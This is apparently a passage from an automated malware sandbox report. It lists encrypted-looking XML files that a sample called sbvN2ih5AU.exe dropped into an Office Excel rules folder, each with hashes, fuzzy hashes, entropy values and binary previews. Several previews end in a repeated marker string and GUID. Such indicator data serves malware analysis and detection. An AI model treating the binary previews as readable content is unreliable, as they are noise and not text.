Preview:	<?xml. =.....F.@.-L...u...z..h(..z.S...~..z.E....H.@....]+.S....%\|.#FH9..id....`..&..B.(=....... c.J.K.n.....o.....}..q.w.,S.EF_....:..iA...>.X..l...5.^.1+.7;..D@.C.....P.g......FJ.p......8._...]...5..3...zz.j...?...kY...4..iy.4..q.WZ.1..V...d..1...X..Yp&@....9....P.u.1.Q.!I...s.......t.H.Cx...Mw.^3..M...!.....x)AY(.\...8Y.];Ps..,..>.J9".8._.8D.xL...{..y3..Y..p=.Q>...hCC.s\|c.7..6.J[i.w....$W...'c...F.Y.. ..{%..R3......y.T.E.K.P.o(U...?.../.b.o.R..v..Z`...Q?v.n..i0t....?.>.......(..X%-.$61..-...V.J....-...mO.sg#.[8..:.`kh...#..i.U..f.hd<.-B.R...~.#..m.Y.r...s,.4...%......}...eGH....E...{..vP.....^j=q.l.FsM.Zx.1 .-.z...........xI..n...^].KT.O..3.x...H&... f. .#%.7I......Cm^.N....D.=...~...jK...<L...].>s..7U.u\]..97.".#.4.,.SJ\|#sx..xD*^". ...J48..G({....4.Rb..a...0..C....'&;b.t.....'..?$.C.....M.Y8s^QqL...Wa..Ye..\|./.-mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.847756824395667
Encrypted:	false
SSDEEP:	24:mTbce7xgA2uHjP3D7FO0f+4M6z7VhjjO12bD:sxgAbjrk0f+RkzjjOOD
MD5:	BCAD499CD9CD576122AF5AAF108F8FDA
SHA1:	779035F2145306C61CBBC5AC7B98E4E1218421A7
SHA-256:	0B1CC04A2E225770A4C888DD91D7FAE7B574AF197C275419ADFD0B9C6E70D2AA
SHA-512:	9C08067FCDC3EC0428C6B2524B94325B5AD86741E90EC3C4EA761D0BD437C6C2BEB9FCB968841FCC82FAA046262B264AD29991CD09B6601E932860D2CB0E5E22
Malicious:	false
Preview:	<?xml.....U!.yr.....7\|.QT...QP.S..w.'.U..$ow..}....%F...{..3.,k.3K.B.....N..PhL..gR....._.G........%....N..>.F.xg...R9. w.do.Kw..Z.$.;whQ.H.T)..B.~4.[..6.fSFYc.P3W:......#q.^..z..............&..2..m.A.9..h.V.o........tMn..l.............@I....np....8.."PgN.+..O.Y.X.k..S..l.n.s..".+.%.<Fy>.x1(.8.T........7l..~.tL......[....4...q["..S...m>...?....9..C..q.Sd....!.h.-...2.a.A..l......4=...^Ro&..\|..8..`j..9j......7^...6B..W+.N)j...YLV.....(..?.z...Q..H&./..ME.(.).......1!.....u.X..[..&...~.....I]...~C..#.6t.....+0..gn...Rh...ZR..........V/.......V.G..........o....k~6...d...j...=...s......C]8.n...;.S.':.M9...I..a>...F.,LSu/.m.T}...W2..^`b..$O.....x..^^)J.......3.j...7.0W....!...aq.."I....;.d. .......k{.c4...ku.....G.........lt..4...E.G..+..z..-L.<....~_.)2<.&&....}.b^.....8JQ..R=...-+.&...:"w.D..p3?..J.F.w.3...C.Ag...w..e...A.......?..y%.nH.;...K.i..:..c...].&..\....X..b+..^K....Y_[+.K.....pc._xr$b....2<Z.t.....E........I.DGWwA.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.835373560254842
Encrypted:	false
SSDEEP:	24:5eMNTbzOR3KJpLorGhdbevIkvEEUPHv43KKDxo4ZDJ0WYxx42bD:rNjOoJGiSEEq4zDhJ0vjrD
MD5:	7EE80A449E2B7B5F86E8093F2AD02EE9
SHA1:	65CA1B91B54EDECCFF5BC3270E543B67E7B0842F
SHA-256:	A967278DF0086517D975DDD0E31652D98453A03DDA0EAC87807783D8F27262C3
SHA-512:	71BF2666D39A085E38DC58B3EBC6601BFC34FA690D61292FC16A63BCA8B27361A4896221C2BC3336E2C12763B39DC49D6FC466DAD7D041A4E1CA133C48E7DE3A
Malicious:	false
Preview:	<?xmln.W.?Z.;W~........x.T..........%..H...,..>6. .k..U..?..[.``..........y..~.........1...9Y.....:.....\|...~j....{.AX.}v0...2..>.?....Kx._...G..R7...Z...!..g.......R#. .)n..~H(.#[....)0..!.....RD:.&].<0..Z...A.i+.?.hUj/...x..fMsr.Y.....(pcZ.!...".O.dG?.q..#.m@.B.H.....E.....J...$........}....u.cs.R..b..5.%.U........2o4P...%..W.........2...1....n..iYP.\|d....jG...p.....D..<....C.k'..p.....9..[9..4-:.<...%..C.@.y.."..:s......."jm.4....J.g..`&F.n....X.).....F......p.'......(`....:.....la....BP+..M.w.D.z....c-.J.<."..(zM...C.....[..I6..D........&...^.......(...WGyy......c.D-t...Wi..B.B.$.....92....k.5....u~...])..wj..a.....P,..)..6b%O..]...\.VX.../..1.ez...^../.=.L<.....tT....../...AWI'.l..G.5. ...l..m\...O...r....d....}.1L..7...d.....TH.....Z..........?.cv$..r=./3.Ah#.7^.)..:....Op.8$..x.J........d. ..v7...,...U!s.+~.......n..}K..s~\.r......S.....;:s.!..o.N.?........e.....#.)d.zhZ...G:.7B....].$.....X.0..j8.GG.....+e.*......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.936254825144938
Encrypted:	false
SSDEEP:	48:8UkErkEUHyfdJBU4pQ3oIuM2FpPsROCpz/HfBVnozU2UaGax4xd0WD:8Pf/yH1pQ4ImF6RdRfBVnoRHoWO
MD5:	D7CCFB18936609320D5161024C45A9E4
SHA1:	842EFD22A9F877E0D2239C3BB337E087A5A54A24
SHA-256:	E5591E787FA406A9000A5100ADDEA4A0EAD2F1A5B4A197AACB9E680926748F02
SHA-512:	5A710FC83D1C8CBB6E4663F74FD3F25910CD51F6B422C8F1CCD3F8C2983C94ED99C6605DD303DDF6C857BE4D8A65E91DEAA9D0EDDC75C521BF49F5F4C4164FEA
Malicious:	false
Preview:	<?xml\|......H..u..g.......'Te..0..F......b..sH..\g.M..... .M!S..V...U]Q..-6.......m...V...<j.....z...?.Y.y...f6...)..v<..Mp.h;.<...x.0.G..<..m.@6W.(...k.#.....z...V."4(...!..S..o}......w .8...J.......B....._.A.P..>..:"5r:;y.,..w.[....o.Te>...!..}..^.L.U....q2$..D.<.A.....^[c$.`8.=E!O.U9...8.........I.b}.......$..J....k.G..<...../z..0 6)QS1..#.......z..Z....]..6....Tu.\..0.z.`..c.c.......EF.J....`..x..Y..I.u[a....Jx.:..8w.....F..J..b]./...N..!..+g.=...$.lg\|..;).8.Q.P...Z}...F9Z\|/.W....2.f....X< .[......k.-..N%K.{...C.4...s#".g,K...?..5.Q..s......HsBs/..'\|..79.D.2....z.m.q..........o_..0iW@.......2..9...q\|~..x.W..h\|..!^.Ul..kv>......hh..6.iZ..\...E..io...l.4..78..g;9#@...W.bf...A.E.U.......[./..........qiW..rw.".....?..].iW.&xy..{..\|:..N.....H.T...p.?c....(-........CkqGW.....t&....K..X.F.2.).5.3\|0.[r.[r.MSr.P..{.b.9O...". ....>K.SV..SE....O..F`\.T..l4. .....}Mq.u=.....=..RK...S...T...`B9.4l..).n..4.R~..L..h.1.`.,_.V..[....,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.9061639931902254
Encrypted:	false
SSDEEP:	48:qc/eNwPIhQTh73f5p5udSDzgRd66GB3sDpud4x4K/AD:qc/9PIhQThLf5bgHasEtl
MD5:	54F95D2636BA84F1EB61C445C9B0C847
SHA1:	353A51848BE63B6D5F79501B75DEEAD9738B83B3
SHA-256:	EC1595BB6BC1C77D640F36395A5BEA059789F8716CF420E4073A775986D50124
SHA-512:	1CBB33E8A1A507280739C1AAB830E0A6581E27AC2A6EBB9FD2D0E953B764D7713DB1D46A9CD1CB50B9FAFB5A75C1658BFED0D8A23BF75928FBB93EF5B27AECC4
Malicious:	false
Preview:	<?xmlZ.M......!....9EA.;.....1.....u....l..J.....~.hS~....Hz..3...\......h.8.b..p....R..X2.r..F.....3..9.T=lS_...-[n..j.}Z\m#.Zw.=.!.?M..\I.^..,F.#..G.0....}GoR.........7..Z...yT..l.......v.;4;.H..!..k]>1....Ox).fi..E..!.7.&.Y.4.d.u.^...5r...8.;{..-.NU.Z8.1....{.nf...F.q.,aX..~..!#..-[K..2....}..TxJ.;U.....e...........r.....)..g...@a.F.9+!..(u.........V..j....-X.......BQ^......$...].~.........tu...;...$Y.J".Y.....[.^.<.w[.$b..F<.y#._u.9....S.#.N.zv.RT...)..oF3.kO..sVRH...xa>.1..7....B....'X......U...%E9..SB..`..GpEu.!1b...Zr.1..ixUYrN..&.K.".d...z.+.^.p..L..Z.s....;}....i).1su..Q...mU...W.d...d.......y..._.,..T/.%.....i...f........a.?.l_...`...>........].....G.....Ih.?....{....{.....XFR.A..p.....$.M.#.qQ#.9.-...3R#... a......W.$...g..2&.;.B....... ..$......q....O..k^.J...........t...a.....0H.w.'V..L.....).v.1..F....R.H.EJ..,...c...U....#._... ,..R/[m~n5..$F..e\|.9s..a.DF..#66.....9..Z..0Z....\|G.....h....1.........S.>..e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.851065913298628
Encrypted:	false
SSDEEP:	24:W5XLqSBX8sMaIJ10nUfokzOeoz9UVKJlq1fgUmohp/QrRl6+0OxVHv62bD:W5bqYXubL0UfogEdlqhDm+p/O6JqxD
MD5:	F04D70FAE51B5E4560BB9452B34C1656
SHA1:	613C920BC0EED62DE13963E9C277D7CD7EC87026
SHA-256:	1A5D1F0DE5A673EC28CBD64B44F7B279EFF7E8EF56CDC54C02581033F8C343DB
SHA-512:	2FDFF8FF507F59262695AC650D8F9FC2219F0FAB6D812617B39B9EFEF64D569803927A1C0F5EFFEC6D71D338112B8747DABE8BDA6E141A41DA544A1F0137DFAB
Malicious:	false
Preview:	<?xml..!'ov....m............}_...m....U..+O$.e@..$.D+Gz#.W..rFV..iK..Y.1.(B_.FM...8X.t..s.[.<.8s...X.<.{..7HW.......`eI7.p6..Z...s.D..m..{...n.o....d......e..?.UR.AD.QK:..".o2R~..W...R..a..../.K.:F..{N......'...JS>J@j.q.=Eb.[.z......V\..F?..W.#...@+n.{-.. ..E..:...[4>.3....c....+...#.........H.-dx.R.......\|V......#..y..$F..SZ......_X_.{......k.?C.......ox.A..{Oik!.V..N.....?2.....o...v...X..{.n....(.:"E.[et.....B.=.Gg.Q.#.$.........H.KZqm.....#.....4......5^.V...,.y.R........{t...~3y.XH9.=L..l...?...:w.'.....v.2.0.:@...nwQ.t 9..5....!h.@Q..Y.....II....\|=Q.Z7...8s0....}....C..[.0.D..XmEl.xJ....)?....t..._...)).$~......=.w....\|#G.'u.w.5^.4...l.]..Is..".._.N!.....t..#..a.\|.V. .4.g,....%..$..t..O.....P...h.\.o..-....'..+g.....N.>...Wc.)g\|...`...].G...]I.-...QzL.p...........7..F...+.Nn...t.D.;....7S.F....C'..U@3..cF...1Jh..y.Q.3B.....).Lf.C.qE`d..T.D^..~.c'.@P..i.@O\.!6..D..Qp.^4.[.n...u.......I...~,%...o.....d..........C....!.k^6+.o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.691968579823759
Encrypted:	false
SSDEEP:	12:o18NBuJ4Tb3nxz9L580K2WQRbC7vYWn8+jaWc3EYkCx6Exyjv8wSSUdNcii9a:iv4nx15ntWQ1C7vYWn5Lc3EUe2bD
MD5:	3F5EFE2150EA9163EB2DDEDD151584B5
SHA1:	CBF14866FAE3B97C2BE997BF5EA007258013F01B
SHA-256:	5C860E77CE57E6EA2ADA3252220A58A74E98CED904B3EE2F6649D14B2F63508B
SHA-512:	C9FBF65D6C56620DCDB53034CDDD519E92CC01909EAE62F6A751EE4D2397E8286604712DDEBF249ED02B7711A0A2CA461561C3C3367F5B73DEC58057740DE779
Malicious:	false
Preview:	<?xml...../..PSb.^Jm..R.........9.A.C./I.[u..ww..s:"U..>5K.N.-'......)..t.._...p..q..... ..1........TZ....E......N90..3.3..c.*..,RSD.Q&\H.f....R...E.......H...Q}..._....T.o$.....61#....~..2..dq.\}...Oc.D.Z....YG@,)A;.M.0.L&q@..-f.qo.zv.)4.....?..........7..K...h.<.'=...Zo.~1.K..W.(....... ."S..,.9.#.B.8...}).@..cKG..@6.e...4..&i..3..P.rf.......^.rm...m..g...T...yX..o..g.c...6.....(.Fl.....Mv.l`N...E....<1..d....rN.CA..v..t..o.&q...[N.X...$U _.z.8\K.E.{.<..mv.J.}.+.......E.....W...ZGc(.0^..`h.y.......!..a\[xp.........A;.3.w....}.....C....[...X...dp.....:.t../...t([....D...a..0_!j.d:...-........AI.v....^I,...d.S.f .h...c_r..~%...~...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.856822416936861
Encrypted:	false
SSDEEP:	24:B0pVGvwyVhaIMijrMk/ym6eJ85bQdq240MxBaOEavyD/G9bn+QyFHPbBMFXd2bD:26v86jAK57dq2cBpEr/ybnfquFmD
MD5:	A2CE8E1C4C0A04E364C9168F75D99496
SHA1:	9539D682D1B61D78D2A6D8592891A46B4CC0CA11
SHA-256:	36D8AB1FB36BBAC44DBF16B0D43A081FE337824C0D6661068CB84C8065D657E3
SHA-512:	462E740A17C667B1CBE11919733656BBD3B23AE388A260BBA7F6E4E3D781984FE98DDC63D171FBE46E1CCE56E0091F60EAF50343B0711CFE48F3C0813640D916
Malicious:	false
Preview:	<?xml.(....m.Wk.A^....q.....1mj.X....X-...X....5.1z?.m..E...u..z.....=D=97..NWl{v.....>0.._.b.............p.X,..M....t?..o...`.P..K....s.r...'!.1.J..!Z#.....l..^..."..z.I!;.>d..0..j&)..\V.{.$(.b...Y~..A..z... .;.&.g?.x...b.\.]..uB.h..l...wji.](.......U.......p..\|..{1...../.....F.b.Py...,.g...Z\].5.C..}..I..=.."..l..T.F..r.E..{..{:6.@......5.)8M...H.T..S..a2....IU.B'..v..".MA..a..Br......p.6.%..,.C...y.B.oQ..%WH.e\|.h.............JhI$....!K~.e.5.Z.3..W}.BV.....\|.....l.F..........t../...qM}..I..".._?.P.+.....]4e.....<..a.\|I......"Z..T..iU.....p..#8 ...Pj.z3...'-.....y..g.%..`....1=...V......t..#.2d.Y........c.z.^$p. .oK)V.EQ8bS9..X.T]O.%..y"p......:.l.....Y.._p....F[Q.@m...`/....J..~;..G.P.?..h..l.pN...]o....e..Mt.P,....N..q{V...l..@......!VD.R..............n...5...>\=yP..$.....1..7..z..~.e\.^..Hl.h.{....G@.9../..'F.Yo.\....')...!U.7..J.........^.\|.L.U......o..{..M.W.R.......'...##}..@...<zwk..irDKg..hL;.NC...JU..v/!'..V9p........U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.703613793726918
Encrypted:	false
SSDEEP:	12:Fe7r4ZzLx2YI74DAPX3O1y8pusZNfTAutn3vd3OO3lBceVZi3UFO5SUdNcii9a:46V2t4mniuIfsutnt3lNVcUoM2bD
MD5:	9C7EE1B3920CF1F7D573C60DE2C9A90A
SHA1:	9C40E6B7FE9AA0B2222F70370D67378FCC67F7B8
SHA-256:	18D41B69826E9634D9BB25744FC4E4D9B31F25BB97B60A284A1E3C83089A8251
SHA-512:	C4F7ADD7A0FA66594109F5610162E5615F5E5615833F63B040F7A3EC389D7D7D158ED21B61B3D45C596E63987973EF8758F79471CB9827DF7F2753ED9D3C4276
Malicious:	false
Preview:	<?xml.......U..`-.v0H..\"w7.~.7..P)B15..`,....]l..3...8.{.e.>R.O..)....3. ......4.r.q.@Q.x.QY.....%..x.....<._....Q~.k.\a#X..W........8...l$K.E.jW.......~.n#).,.r.`b....m..!..\|_K...{...ny.f....p..~..Zk..<}._.m_\.s>d....."..F..{....ww.id....W....g...........t.Y.S.q:6...5S<j.FW4...<.t.m:Q..q!....f"...p..\3.........o>.M.7....\.yQ..F.r:..N<.!..vM.%..b8...)..#..j+......e...t.h..d.......>.i..x.."...5y.x..e0l..lZ..5..2H.....s.`.k!Wh.k..j.6(..b..~..H.I.u...._y...'.f...%;.I....8.>.\.M...$'...p!...(.cG..w.Tl.....D.htv.x...QKO...f..M.....^B;..%I....z.....^y..m.U.M..\.Av.@..{C..N.7P.U.YX......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.798444556601974
Encrypted:	false
SSDEEP:	24:p2ctKvBBajhMK8mkhG5AgRcwmld+h9MbmNIsBP2bD:spujSK8e5Fz8bGI4sD
MD5:	60E5C42DFBFF3AC11A85A18A5FDB1551
SHA1:	B912D95D3E3AB842D2C78B6259FA1BF9D53C64DD
SHA-256:	CDF5C9A94DD5841E4EFE01653EAEC6035D8E9C58CDA0DB4EA67A6D9F8FA4A841
SHA-512:	CC55B9F65712A0C8460903EF4261C77F52AF4DC2D3AB7A31E2EBF3118BED99A73ECE0466D48F57B71A85E9046BA53A8795D0D97D8967D6080B47FA0845B9F542
Malicious:	false
Preview:	<?xml.C;.L..MV....1+.6O8r..1...._.C../.T.....9....9.x.NY..1s..N..)5Q....'Y8....y.R_8.k.a.v..Et.cm..._s..4....-.Y}...".R..1..MC...7..g..U....\.lRL.;....@.. D.r...%.....4F._Qs.g..>..d.z}.C..t].h....7Z(...x.P..P.."V=..u!#.....S.....]k8.j... .h7N6.y......V.@.}<.%.[{.........'..#ST#...x`......@.LN.3?.B.....Y..Cz..(........=Q.&#......'.#.U....3...!.E....w.8...h...)r.9...=....';v...E.zB.5x.`.}D.Q......8$..n..h....<0e......o..s.\..0p.3...f5.u.Rfde......#1....Xx...FL.?-Sw6e..#G.m....[x....X.. ..J.?>w../...(.P.c..o.H......r.....\|..\|.z..c....rX...3Z.g.M.'..4..pd#Q{..Pz..l}rX.....Jj..X.../...n3_/...X.XuPR..@f1.\..`.....ul...+gX..0..V4....?..}...&..I......n\......=Hd;.5...QN.B..9..........w.,....?.....@)...(b<b_....A1...-.&..{uu#..!...0...o.N.l..bM.kZ~.B...#..mi....*...d.?.A.....-...U.G.YCg..qb.....^...:...5...9IR..Ja..M.V...KO.<.}.r./n..m...H...C..rW"le+X\;..x...P{dI..........IS....t+"7..@...{. ....c.a..+P.8.+....-F&.b..Z...c...^7..U.s\.&}.k..9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.639037916015108
Encrypted:	false
SSDEEP:	12:hM+0k1Cx91/VvIxAZ6L0G6z5j7uifFg3RmZQ9pfl1LZXRp0auQsqGbLdynxHY7ke:3S71NvMtM1qifFA8Zq7Z0jL0x47k2NFv
MD5:	D306892CE41792230C67F7474E935AE3
SHA1:	0F9E29B265BC6EE1A94E07F7D16A312E9E37B4E9
SHA-256:	8AF76F102B3ACCAB50270D811866F87EBED4461F412F404D321BC2302B06B3AC
SHA-512:	3353234227BD957A62DD471F93117BFB5493C592201D26859F6C8BD6538679EB9BE10585CB3C3F91B3009D5F9E8E5DBD4EE3B23FD61B3B7D6E36F3A40C70E503
Malicious:	false
Preview:	<?xml..=*..<........F.x.....x..E&nwl.S.,...+..4<z.bh'.x`.......C.<.H..BV..r.:r......,rP.qk.c7.Z.....g.....?.......N../.D~p..e.U7.u......9..1r~a.F..TW.t..r...........n..9... .U..?w.e'....2.r..=.Z.....`%..zrz.Y;:/u3.t-.w.1.kM..Y.p.D..(....D..M.....G...6=k.......[..F.e..fv..=..c....n.35.M.h`...z...qF...t...8=wr.2.........../....}..l...;,...CB..^7.........9f6.J6(....6>.F.F.h.R.rt...R.V..T(.0..w...D-N#z...2&...6.....t...T...(n..S.0?.z".U...Z.j..u....W.a~%..n.....#A..%....b.8.N.7..N.x.j.....J....d..._O>G...yoC.4..R.x.@....f.\|..%w...m......J..P.=.h...u..0%x...)1.d.,....#..]....;[........Ny..F..XZ....a..N./.Cu.#.w.o~+......z..i..ip.p...#.#.DH{mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.823920307267095
Encrypted:	false
SSDEEP:	24:yPqUwlfMVRW3l+AecmbUDJPMVlQt/KSoS2bD:yPSfl+Aecmb7G3opD
MD5:	9D6B2428BA45AD5FC88DE0757E3DE38B
SHA1:	C93125A85C318D7CBE6DCCC36A2984F10A8F9E38
SHA-256:	3B757C0FA3355AEFDEC84BB3FFB0675BE2B8092A71788028A0126C07CBC8E0AF
SHA-512:	FD4D4A22199D607224FE94F7E69097C7E5F7D479C254F8720A4AD430D9435D3DD9CD7DDF0952250B1BEC4F54F480BD1A1263FAD1588942E33E2BBA7B0CA11C59
Malicious:	false
Preview:	<?xml.......jY......j0)....tt..Ut..8..k....?=x2.&c.i M....x.?&._.....\~nT#+..N!..\|_..$.V1~.6?..~h.H.&..j....Z.T..\|x....9Q....0....t...a].XC.X=.z..7sKK.1.FF.;...8N,..F.Z...x.M.p...\|...;6.wAW.\|.$R\..b1.i..0.e.Z......"..&..1K..d............Qi.2.nJ..?...,. &.:.4-....`.%.......jn..i%.C.!..t`..\...#.Q.".u....U+ .t.y.f.'@Uc...9.<......+...Y.Y.E#.V.M.D.g ...^...`.0.,_..h.6h...@......B.63F.%.u......\c.#...<..U..{..c#4.[..lg".Q.QY;".3.%....K.M. ;..B`..g.'..qe....<Qj.+.z..c#...3..n.0u.n.qv.e}F..[...\|.W.'.+...0. .5....2..+G>..v.-#2i...}.\|..6J.H..[...q.1.C.h...].rFv.O..D....;...ZRI.U...RN..A(........I~.{..}'Z.j....B.^&..4.Z9K,..7...;.....}......=Yi..s.%...>..E....M.a.5............R.S..6(.I.g.6....pO..2.....'..A.Q..z\..m.j..!l;z........j.\.........Ys..%.... .l.9b.jd.d.C\|a......T..........l...L...N..r....x.x...+...q.?..J.}.....$.yX..T..v.U...nL...H..6.\|...0.Yw...R.....9....f......y0..`.r.."...{D.P."...DY".9....x.'.J.....v.OL......o.......6.....I_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.9758518067818125
Encrypted:	false
SSDEEP:	192:P6qCsNYxWAnVJ4I8JXxpQTvBdqdXccPvds:P6qCXIAV2ZpQT5dqeUu
MD5:	BAAB06E7597BE4FD57F77BF77106A1EE
SHA1:	FBE3B581C8EE3AC815CCBB62363A34208DC749F8
SHA-256:	78DEC8E460834F8D14DB800A96D637FF272200E737BD050D4338FFC36711980E
SHA-512:	DFDCC1A45D02ECDCB1A1B8B281165091234BD00E175A5BF3CC5A56933BB24189041F20F8F34C220558967A7031E7E86F72B0E234C70EDF2B67D2D10A406AB091
Malicious:	false
Preview:	<?xml...\...VE#...!8+U5[.A5~I.Q.Q...9.5.7F..,....h..b....;....(.P;...3........N\|..!O.R.....~.@..c..p..).D.h...m.'......G.>wq...N..... ....-~...J}..nE.j..\.....(..?..#..p...:.D#<k.k.....L.u..0....'.\./...'.H?2....9...4.0.1yW{ff.&..h..yr.]4..{;..h.....O.....Y....._...A..}..$>..V..V.5l......#G.<IV\|....s.E.m..K..R.p.bIi.g0.....\.A....o?%F+_0.....v.P....{1.......8...sj.y.Ut..q9...3....s\g.h..l..2....Q.{.......6..d'.r.]..p..m ...Z<l...4..\Q5...6f.Q..\|,Q...e...,..1.e(..q`...........?...~U......j..J.%(U.....S....eY.,2..w... \|i\.._L...D.E.W..<..8....9mz..ojV.}...T..{I..t....$..==-a..#.7...."..8qAp.I%...4.0_!...D.1....1.#:^?....b..X......~m.o...U.9?{...U.O.:........>o8(h..86&...v.B.5_J].TC;......11._d...x.;.-Y.G.V..$jW.........\|<......&.U...`.Iy7...a....P=X.&].[.u0Ez..#.X...x.?YPh.G/..}.e.'....I.K..\....h.......... .........3.Q.?.77........hq.A.....DGaN?.j)........n.k....../2I.;...^&...9..q.:>Y.dfo..I*......He..&9t]. ._y..8u.1K.......$Z.4...C.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.806782804526698
Encrypted:	false
SSDEEP:	24:gWqjKL821CbJue5theMM/4JlHhDGMe/adL2+POE2bD:g52LuZ5theMR/Ho7Ck2ED
MD5:	D8C53F6E24206FC51C715189B70F8DB8
SHA1:	4C8C7CFE107980A51F2042AE9545F5EFFB744B19
SHA-256:	51F6D6B3375F5436600E74C640E19A1D5D38A3AE01BFA4377B068C0C61816B71
SHA-512:	27B9941E47D3E480C155D927F7A6187CBFB6AA3CA0B211DD21654CBC968D7397D649291ECBCBDA6FA7FAE8FD0448401371D3FB69D33AB053D4956F7B7C924F97
Malicious:	false
Preview:	<?xmlA.<...%.v.L....?.n2.............m...@.-..hd....1....2.w\G..c......R....o...g..Ye;.\...wK....k.+.}.....X=P..ab.-.d_.s.....aTX.oE..l./.6..:..=.TY......f.>g.-C....s.K=.XK.._..:/X..k.4.;.q.e,.y.Z.9.Uf...`.M.....{L......$j....<?a.........Zk.....YB...$3e..%..)Z..}.x....-..Q..q<...S>8~"._3........f..^.SuQy....~.i...iY=9....)N.l.....14.6f.z.9.....\|..U......(..FI..8N.'....6...I.@P.J3Oy...`..j^.bC.!2.uXuJ..X......3..y....I.D.Q.&J.....L.J....4......L.... .0....a.... .".fs.~..[Np.....E.<.I..../.j]W.......oH.\|......n...$...U.xX..&.JD..+..TD...^:.....p..+..8...?!...!...1c..@.~F.N..K.=.P.6.9w+.......(m".<.{Obv.u}...q..{..J...t.e...?............>v-....0D%y.$b0>..vlb"i.t..g...\|.V.H.M.....\|SIhmd.....4.Z$>...o.......W......>.".:bP..Z.%....H.\Kyg.cL....xf...`l........C..IM."J...x.r!:.N."L.S....{W..s.\..}c.d.n...S&^...`e&(flju`....L0.'.P.=...ha.UMG..\.v..N...-.>z...%..9.0.W4...,._..K.8C.;......3O.D...c... .[.^..9.1.vmMsRxMUuXypapZbGOAfxD9pczHmW8zV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.792462232029246
Encrypted:	false
SSDEEP:	12:VzF9b8INMEltLqNdyhEXLwys1ldFmosORIFs0BeUx5kaKao1e4gzR34fgTe89PZy:Wq0AhbbfsORe/kaKjEUcmT9v42bD
MD5:	D99BD76D8661A307AA900082B9701E25
SHA1:	EC245DEF1113F86726CFE481F0133181C70E747B
SHA-256:	D8B704EBCDD4D26CE784FBADB811EA9380A48488E1B61988E0F39AA14A205CBE
SHA-512:	EA7DA4069C01045C0512DFB2CD46AC15CA0AEDF2BA91D43CB2A30E741E933432B60260D6CC21E938D90DEB102533D7D1F9FB1C461705E0047752BCCE26A219FA
Malicious:	false
Preview:	<?xml......~9....7..q..e..>.@.tX..........s ..z.,.>..\>.rg..n(VB..y?.j....n....:.e.<.l..D...?P......+...,...1......b.~.....^..O\v.....B.TnP....4~C......"..p....g...N...[...Z.`.-=~....Vr4..$..$..8.6....z.Dw...e.+........g......._Z....C.r.M.n...........Q.-t..........r. Q]..FH.a.......j....:...Z.....;.:.=....a.0..jy..#.e....~....g!......N.C.......f........k.rQf...L.M.ww...`........J.=86..S..\xT9.w..[.w}"{.......4h..\|U....A6.....".....7N...\/.......m4.A. 